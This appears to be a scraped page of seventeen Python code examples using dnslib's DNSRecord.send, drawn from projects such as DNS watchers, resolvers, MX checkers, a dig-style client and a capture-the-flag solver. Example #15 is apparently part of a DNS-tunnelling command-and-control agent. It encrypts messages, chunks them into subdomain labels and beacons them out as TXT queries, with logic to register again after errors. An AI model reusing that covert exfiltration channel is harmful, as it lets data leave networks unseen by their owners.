コード例 #1
0
ファイル: hpc_watcher.py プロジェクト: gmivan/xos
    def handle_job(self, job):
        domain = job["domain"]
        server = job["server"]
        port = job["port"]
        result_contains = job.get("result_contains", None)

        try:
            q = DNSRecord(q=DNSQuestion(domain)) #, getattr(QTYPE,"A")))

            a_pkt = q.send(server, port, tcp=False, timeout=10)
            a = DNSRecord.parse(a_pkt)

            found_record = False
            for record in a.rr:
                if (not result_contains):
                    QTYPE_A = getattr(QTYPE,"A")
                    QTYPE_CNAME = getattr(QTYPE, "CNAME")
                    if ((record.rtype==QTYPE_A) or (record.qtype==QTYPE_CNAME)):
                        found_record = True
                else:
                    tmp = QTYPE.get(record.rtype) + str(record.rdata)
                    if (result_contains in tmp):
                        found_record = True

            if not found_record:
                if result_contains:
                    job["status"] =  "%s,No %s records" % (domain, result_contains)
                else:
                    job["status"] =  "%s,No A or CNAME records" % domain

                return

        except Exception, e:
            job["status"] = "%s,Exception: %s" % (domain, str(e))
            return
コード例 #2
0
    def handle_job(self, job):
        domain = job["domain"]
        server = job["server"]
        port = job["port"]
        result_contains = job.get("result_contains", None)

        try:
            q = DNSRecord(q=DNSQuestion(domain))  #, getattr(QTYPE,"A")))

            a_pkt = q.send(server, port, tcp=False, timeout=10)
            a = DNSRecord.parse(a_pkt)

            found_record = False
            for record in a.rr:
                if (not result_contains):
                    if ((record.rtype == QTYPE_A)
                            or (record.qtype == QTYPE_CNAME)):
                        found_record = True
                else:
                    tmp = QTYPE.get(record.rtype) + str(record.rdata)
                    if (result_contains in tmp):
                        found_record = True

            if not found_record:
                if result_contains:
                    job["status"] = "%s,No %s records" % (domain,
                                                          result_contains)
                else:
                    job["status"] = "%s,No A or CNAME records" % domain

                return

        except Exception, e:
            job["status"] = "%s,Exception: %s" % (domain, str(e))
            return
コード例 #3
0
ファイル: server.py プロジェクト: Rets66/dns-td
 def query(self, c_id, m_addr):
     header = DNSHeader(qr=0, aa=1, ra=1)
     transfer_packet = DNSRecord(header)
     transfer_packet.add_question(DNSQuestion(c_id))
     response = transfer_packet.send(dest=m_addr, port=10053)
     ans = DNSRecord.parse(response)
     rcode, rdata = ans.header.rcode, str(ans.a.rdata)
     return rcode, rdata
コード例 #4
0
ファイル: utils.py プロジェクト: CorverDevelopment/Pandora
def check_mx_records(domain, cache_timeout=60 * 60):
    if domain in _mx_records_cache:
        timeout, valid = _mx_records_cache[domain]
        if time() < timeout:
            return valid

    q = DNSRecord(q=DNSQuestion(domain, getattr(QTYPE, 'MX')))

    a_pkt = q.send('8.8.8.8', 53, tcp=False)
    a = DNSRecord.parse(a_pkt)

    if a.header.tc:  # pragma: no cover
        a_pkt = q.send('8.8.8.8', 53, tcp=True)
        a = DNSRecord.parse(a_pkt)

    valid = len(a.short()) > 0
    _mx_records_cache[domain] = (time() + cache_timeout, valid)
    return valid
コード例 #5
0
ファイル: inet.py プロジェクト: tsingui/mychrome
def nslookup(domain, nservers=['8.8.8.8', '114.114.114']):
    global tested_ips, ip_is_enough, inactive_servers, good_servers

    if ip_is_enough: return
    try:
        q = DNSRecord(q=DNSQuestion(domain, getattr(QTYPE,'A')))
        a_pkt = q.send(nservers[0], 53, tcp=False, timeout=3)
        a = DNSRecord.parse(a_pkt)
        if a.header.tc:
            # Truncated - retry in TCP mode
            a_pkt = q.send(nservers[0], 53, tcp=True, timeout=3)
            a = DNSRecord.parse(a_pkt)
        a = a.short()
        if not a:
            raise Exception('no response.')
    except Exception as e:
        with lock:
            if nservers[0] not in inactive_servers:
                inactive_servers.add(nservers[0])
                #print(inactive_servers)
            if nservers[0] in good_servers:
                good_servers.remove(nservers[0])
            print('dns error: ', domain, nservers[0], e)
        return
    a = a.split('\n')

    if nservers[0] in inactive_servers:
        inactive_servers.remove(nservers[0])
    for ip in a:
        if ip[-1] != '.':  ##  maybe CNAME
            with lock:
                if ip_is_enough:
                    break
                if ip in tested_ips:
                    continue
                tested_ips.add(ip)
            if checkip(ip, domain):
                with lock:
                    if nservers[0] not in good_servers:
                        good_servers.add(nservers[0])
コード例 #6
0
    def resolve(self, request: DNSRecord, handler: DNSHandler):
        reply = request.reply()
        qname = request.q.qname
        qtype = QTYPE[request.q.qtype]
        # print(f'{qtype} {qname}')
        matched = False
        for name in self.zones:
            if qname.matchGlob(name):
                if qtype in ('A', 'AAAA', 'ANY', 'CNAME'):
                    if qtype == 'AAAA':
                        continue # currently only A records supported
                    answer = self.local_resolve(qname, qtype)
                    if answer:
                        reply.add_answer(*answer)
            matched = True

        if not matched:
            use_tcp = handler.protocol != "udp"
            reply = DNSRecord.parse(request.send(self.upstream_address, self.upstream_port, tcp=use_tcp))
        return reply
コード例 #7
0
ファイル: _core.py プロジェクト: sherwoodwang/dispatching-dns
    def resolve(self, request, handler):
        now = int(time())
        a = request.reply()

        uq = DNSRecord()
        self._resolve_in_cache(request.questions, uq, a, now)

        if len(uq.questions):
            for upstream in self._upstreams:
                try:
                    ua_pkt = uq.send(
                        str(upstream.address),
                        upstream.port,
                        upstream.tcp,
                        upstream.timeout,
                        upstream.ipv6
                    )
                    ua = DNSRecord.parse(ua_pkt)
                except:
                    continue

                for rr in ua.rr:
                    key = (rr.rname, rr.rtype, rr.rclass)
                    cr = self._Record(now + rr.ttl, {
                        'rname': rr.rname,
                        'rtype': rr.rtype,
                        'rclass': rr.rclass,
                        'rdata': rr.rdata,
                    })
                    self._add_to_cache(key, cr)
                a.add_answer(*ua.rr)
                break
            else:
                raise IOError

        return a
コード例 #8
0
def pan_dig(domain):
    import argparse, sys, time

    p = argparse.ArgumentParser(description="DNS Client")
    p.add_argument(
        "--server",
        "-s",
        default="8.8.8.8",
        metavar="<address:port>",
        help="Server address:port (default:8.8.8.8:53) (port is optional)")
    p.add_argument("--query",
                   action='store_true',
                   default=False,
                   help="Show query (default: False)")
    p.add_argument("--hex",
                   action='store_true',
                   default=False,
                   help="Dump packet in hex (default: False)")
    p.add_argument("--tcp",
                   action='store_true',
                   default=True,
                   help="Use TCP (default: UDP)")
    p.add_argument(
        "--noretry",
        action='store_true',
        default=False,
        help="Don't retry query using TCP if truncated (default: false)")
    p.add_argument(
        "--diff",
        default="",
        help=
        "Compare response from alternate nameserver (format: address:port / default: false)"
    )
    p.add_argument(
        "--dig",
        action='store_true',
        default=False,
        help=
        "Compare result with DiG - if ---diff also specified use alternative nameserver for DiG request (default: false)"
    )
    p.add_argument("--short",
                   action='store_true',
                   default=True,
                   help="Short output - rdata only (default: false)")
    p.add_argument("--debug",
                   action='store_true',
                   default=False,
                   help="Drop into CLI after request (default: false)")
    p.add_argument("domain", metavar="<domain>", help="Query domain")
    p.add_argument("qtype",
                   metavar="<type>",
                   default="A",
                   nargs="?",
                   help="Query type (default: A)")
    args = p.parse_args(['--tcp', '--short', domain])

    # Construct request
    q = DNSRecord(q=DNSQuestion(args.domain, getattr(QTYPE, args.qtype)))

    address, _, port = args.server.partition(':')
    port = int(port or 53)

    if args.query:
        print(";; Sending%s:" % (" (TCP)" if args.tcp else ""))
        if args.hex:
            print(";; QUERY:", binascii.hexlify(q.pack()).decode())
        print(q)
        print()

    a_pkt = q.send(address, port, tcp=args.tcp)
    a = DNSRecord.parse(a_pkt)

    if a.header.tc and args.noretry == False:
        # Truncated - retry in TCP mode
        a_pkt = q.send(address, port, tcp=True)
        a = DNSRecord.parse(a_pkt)

    if args.dig or args.diff:
        if args.diff:
            address, _, port = args.diff.partition(':')
            port = int(port or 53)

        if args.dig:
            dig = getoutput("dig +qr -p %d %s %s @%s" %
                            (port, args.domain, args.qtype, address))
            dig_reply = list(iter(DigParser(dig)))
            # DiG might have retried in TCP mode so get last q/a
            q_diff = dig_reply[-2]
            a_diff = dig_reply[-1]
        else:
            q_diff = DNSRecord(header=DNSHeader(id=q.header.id),
                               q=DNSQuestion(args.domain,
                                             getattr(QTYPE, args.qtype)))
            q_diff = q
            diff = q_diff.send(address, port, tcp=args.tcp)
            a_diff = DNSRecord.parse(diff)
            if a_diff.header.tc and args.noretry == False:
                diff = q_diff.send(address, port, tcp=True)
                a_diff = DNSRecord.parse(diff)

    if args.short:
        return a.short()
    else:
        print(";; Got answer:")
        if args.hex:
            print(";; RESPONSE:", binascii.hexlify(a_pkt).decode())
            if args.diff and not args.dig:
                print(";; DIFF    :", binascii.hexlify(diff).decode())
        print(a)
        print()

        if args.dig or args.diff:
            if q != q_diff:
                print(";;; ERROR: Diff Question differs")
                for (d1, d2) in q.diff(q_diff):
                    if d1:
                        print(";; - %s" % d1)
                    if d2:
                        print(";; + %s" % d2)
            if a != a_diff:
                print(";;; ERROR: Diff Response differs")
                for (d1, d2) in a.diff(a_diff):
                    if d1:
                        print(";; - %s" % d1)
                    if d2:
                        print(";; + %s" % d2)

    if args.debug:
        code.interact(local=locals())

    return None
コード例 #9
0
ファイル: client.py プロジェクト: 0rt/XX-Net
    args = p.parse_args()

    # Construct request
    q = DNSRecord(q=DNSQuestion(args.domain,getattr(QTYPE,args.qtype)))

    address,_,port = args.server.partition(':')
    port = int(port or 53)

    if args.query:
        print(";; Sending%s:" % (" (TCP)" if args.tcp else ""))
        if args.hex:
            print(";; QUERY:",binascii.hexlify(q.pack()).decode())
        print(q)
        print()

    a_pkt = q.send(address,port,tcp=args.tcp)
    a = DNSRecord.parse(a_pkt)

    if a.header.tc and args.noretry == False:
        # Truncated - retry in TCP mode
        a_pkt = q.send(address,port,tcp=True)
        a = DNSRecord.parse(a_pkt)

    if args.dig or args.diff:
        if args.diff:
            address,_,port = args.diff.partition(':')
            port = int(port or 53)

        if args.dig:
            dig = getoutput("dig +qr -p %d %s %s @%s" % (
                                port, args.domain, args.qtype, address))
コード例 #10
0
ファイル: client.py プロジェクト: Doraying1230/Python-Study
    args = p.parse_args()

    # Construct request
    q = DNSRecord(q=DNSQuestion(args.domain, getattr(QTYPE, args.qtype)))

    address, _, port = args.server.partition(':')
    port = int(port or 53)

    if args.query:
        print(";; Sending%s:" % (" (TCP)" if args.tcp else ""))
        if args.hex:
            print(";; QUERY:", binascii.hexlify(q.pack()).decode())
        print(q)
        print()

    a_pkt = q.send(address, port, tcp=args.tcp)
    a = DNSRecord.parse(a_pkt)

    if a.header.tc and args.noretry == False:
        # Truncated - retry in TCP mode
        a_pkt = q.send(address, port, tcp=True)
        a = DNSRecord.parse(a_pkt)

    if args.dig or args.diff:
        if args.diff:
            address, _, port = args.diff.partition(':')
            port = int(port or 53)

        if args.dig:
            dig = getoutput("dig +qr -p %d %s %s @%s" %
                            (port, args.domain, args.qtype, address))
コード例 #11
0
 def _resolve_record(self, domain, qtype='A'):
     q = DNSRecord(q=DNSQuestion(domain, getattr(QTYPE, qtype)))
     a_pkt = q.send(self.address, self.port, tcp=False)
     reply = DNSRecord.parse(a_pkt)
     return reply
コード例 #12
0
def index():
    if request.method == 'GET' and 'site' in request.values and 'type' in request.values:
        query_domain = request.values.get('site')
        query_type = request.values.get('type').upper()
        query_mode = request.values.get('mode')
        show_history = request.values.get('history')
        if show_history == 'true':
            f = open('%s.txt' % query_mode, 'r')
            result = list()
            for line in f.readlines():
                line = line.strip()
                if not len(line) or line.startswith('#'):  # 判断是否是空行或注释行
                    continue
                result.append(line)
            lines = result
            return render_template('index.html', lines=lines)
        if query_mode == 'iter':
            open('tmp.txt', 'w').close()
            import iterative
            iterative.iter_query(query_domain)
            f = open('tmp.txt', 'r')
            result = list()
            for line in f.readlines():
                line = line.strip()
                if not len(line) or line.startswith('#'):  # 判断是否是空行或注释行
                    continue
                result.append(line)
            return render_template('index.html', result=result)
        address = '127.0.0.1'
        port = 5053
        from dnslib.bimap import Bimap
        QTYPE = Bimap(
            'QTYPE', {
                1: 'A',
                2: 'NS',
                5: 'CNAME',
                6: 'SOA',
                12: 'PTR',
                15: 'MX',
                16: 'TXT',
                17: 'RP',
                18: 'AFSDB',
                24: 'SIG',
                25: 'KEY',
                28: 'AAAA',
                29: 'LOC',
                33: 'SRV',
                35: 'NAPTR',
                36: 'KX',
                37: 'CERT',
                38: 'A6',
                39: 'DNAME',
                41: 'OPT',
                42: 'APL',
                43: 'DS',
                44: 'SSHFP',
                45: 'IPSECKEY',
                46: 'RRSIG',
                47: 'NSEC',
                48: 'DNSKEY',
                49: 'DHCID',
                50: 'NSEC3',
                51: 'NSEC3PARAM',
                52: 'TLSA',
                55: 'HIP',
                99: 'SPF',
                249: 'TKEY',
                250: 'TSIG',
                251: 'IXFR',
                252: 'AXFR',
                255: 'ANY',
                257: 'CAA',
                32768: 'TA',
                32769: 'DLV'
            }, DNSError)
        q = DNSRecord(q=DNSQuestion(query_domain, getattr(QTYPE, query_type)))
        a_pkt = q.send(address, port, tcp=False)
        a = DNSRecord.parse(a_pkt)
        if a.header.tc:
            # Truncated - retry in TCP mode
            a_pkt = q.send(address, port, tcp=True)
            a = DNSRecord.parse(a_pkt)
        out = str(a)
        pattern = re.compile(r";; ANSWER SECTION:\n(.*)", re.DOTALL)
        out = pattern.findall(out)
        if out:
            lines = out[0].splitlines()
            for line in lines:
                print(line, file=open('recur.txt', 'a+'))
            return render_template('index.html', lines=lines)
        else:
            not_found = ['No answer section']
            return render_template('index.html', lines=not_found)
    return render_template('index.html')
コード例 #13
0
ファイル: recursive-server.py プロジェクト: Rets66/dns-td
 def query(self, c_id, m_addr):
     header = DNSHeader(qr=0, aa=1, ra=1)
     transfer_packet = DNSRecord(header)
     transfer_packet.add_question(DNSQuestion(c_id))
     response = transfer_packet.send(dest=m_addr, port=10053)
     return response
コード例 #14
0
 def _resolve_record(self, domain, qtype='A'):
     q = DNSRecord(q=DNSQuestion(domain, getattr(QTYPE, qtype)))
     a_pkt = q.send(self.address, self.port, tcp=False)
     reply = DNSRecord.parse(a_pkt)
     return reply
コード例 #15
0
def sendmsg(m_type, message=""):
    global MSGerror
    message = str(message)
    if len(message) == 0:
        message = "PING"
    logging.debug("sendmsg enter")

    port = 53
    timeout = 10
    i = 0
    part = ""
    c_msg = ""
    protohdr = ""
    dnsresponse = ""
    # dns params max size definition
    s_request = 255  # max size of the domain
    s_section = 127  # max size of the message
    s_dns_section = 63  # max size of the dns section
    s_protohdr = 50  # protocol max size headers - hostid + msg m_type + msgid
    GConfig['msgid'] = GConfig['msgid'] + 1

    if m_type == "RG":
        protohdr = str(GConfig['hostid']) + ";" + str(m_type) + ";" + str(GConfig['msgid'])
        logging.debug("protohdr: % s " % protohdr)
        c_protohdr = base64.b64encode(protohdr)
        logging.debug("base64 protohrd: %s " % c_protohdr)
        c_msg = base64.b64encode(message)
        logging.debug("base64 RG message: %s" % c_msg)
        dnsreq = c_protohdr
        for i_msg in range(0, (len(c_msg) / s_dns_section) + 1):
            dnsreq = dnsreq + "." + c_msg[i_msg * (s_dns_section):i_msg * (s_dns_section) + (s_dns_section)]

        dnsreq = dnsreq + "." + GConfig['domain']
        logging.debug("dns req: %s " % dnsreq)
        # Construct request
        q = DNSRecord(q=DNSQuestion(dnsreq, getattr(QTYPE, "TXT")))
        try:
            a_pkt = q.send(GConfig['dnsserver'], port, False, timeout)
            a = DNSRecord.parse(a_pkt).get_a()
            response = decryptmsg(string.split(str(a))[4])
        except:
            logging.debug("Registration failed!")
            return(0)
        logging.debug("response %s" % response)

        if response == "OK":
            logging.debug("Registration success!")
            return(1)
        else:
            logging.debug("Registration failed!")
            return(0)
    else:
        if s_request < s_section + s_protohdr + 10 + len(GConfig['domain']):
            logging.critical("ERROR: domain too long" + str(s_section + s_protohdr + 10 + len(GConfig['domain'])))
            exit(1)

        # chunk msq to s_section character pieces
        msgcount = (len(message) / s_section) + 1
        # encrypt every piece of message with protocol header
        logging.debug("MSGcount: " + str(msgcount))
        # proto header
        for i in range(0, msgcount):
            time.sleep(GConfig['beacontime'])
            protohdr = str(GConfig['hostid']) + ";" + str(m_type) + ";" + str(GConfig['msgid'])
            logging.debug("protohdr: % s " % protohdr)
            c_protohdr = base64.b64encode(protohdr)
            logging.debug("base64 protohrd: %s " % c_protohdr)
            part = (message[i * (s_section):i * (s_section) + (s_section)])
            logging.debug("send message: %s " % part)
            c_msg = cryptmsg(part)
            logging.debug("enc message: %s" % c_msg)
            dnsreq = c_protohdr
            for i_msg in range(0, (len(c_msg) / s_dns_section) + 1):
                dnsreq = dnsreq + "." + c_msg[i_msg * (s_dns_section):i_msg * (s_dns_section) + (s_dns_section)]

            dnsreq = dnsreq + "." + GConfig['domain']
            logging.debug("dns req: %s " % dnsreq)
            # Construct request
            q = DNSRecord(q=DNSQuestion(dnsreq, getattr(QTYPE, "TXT")))
            try:
                a_pkt = q.send(GConfig['dnsserver'], port, False, timeout)
                a = DNSRecord.parse(a_pkt).get_a()
                response = decryptmsg(string.split(str(a))[4])
            except:
                logging.debug("Sending request failed!")
                # pocitani chyb, pak zavolat znovy registraci
                MSGerror = MSGerror + 1
                logging.debug("MSGerror %i" % MSGerror)
                if MSGerror > GConfig['retry_error']:
                    logging.debug("New registration enforce due to retry error count")
                    MSGerror = 0
                    registerAgent()
                return(0)
            GConfig['msgid'] = GConfig['msgid'] + 1
            logging.debug("response %s" % response)

    logging.debug("sendmsg finish")
    return response
コード例 #16
0
 def get_dns_txt_record(self):
     txt_record = self.token + '.' + self.domain
     q = DNSRecord(q=DNSQuestion(txt_record, getattr(QTYPE, 'TXT')))
     record_pkt = q.send(DNS_VALIDATION_SERVER, 53)
     record = DNSRecord.parse(record_pkt)
     return record
コード例 #17
0
from dnslib.dns import DNSRecord, DNSQuestion, QTYPE
import socket
from binascii import unhexlify

q = DNSRecord(
    q=DNSQuestion('check.infinite.thecatch.cz', getattr(QTYPE, 'SOA')))
soa = DNSRecord.parse(q.send('8.8.8.8', 53))
print soa.auth[0]
dnsserver = str(soa.auth[0].rdata.mname)

q = DNSRecord(q=DNSQuestion(dnsserver, getattr(QTYPE, 'A')))
a = DNSRecord.parse(q.send('8.8.8.8', 53))
print a.rr[0]
dnsserver_ip = str(a.rr[0].rdata)

done = []
code = ''
nsl = 'dustoff.infinite.thecatch.cz'
while True:
    q = DNSRecord(q=DNSQuestion(nsl, getattr(QTYPE, 'NS')))
    try:
        a = DNSRecord.parse(q.send(dnsserver_ip, 53, timeout=0.5, tcp=False))
    except socket.timeout:
        continue

    nsl = str(a.auth[0].rdata)
    if nsl in done:
        break
    done.append(nsl)

    if nsl.endswith('.'): nsl = nsl[:-1]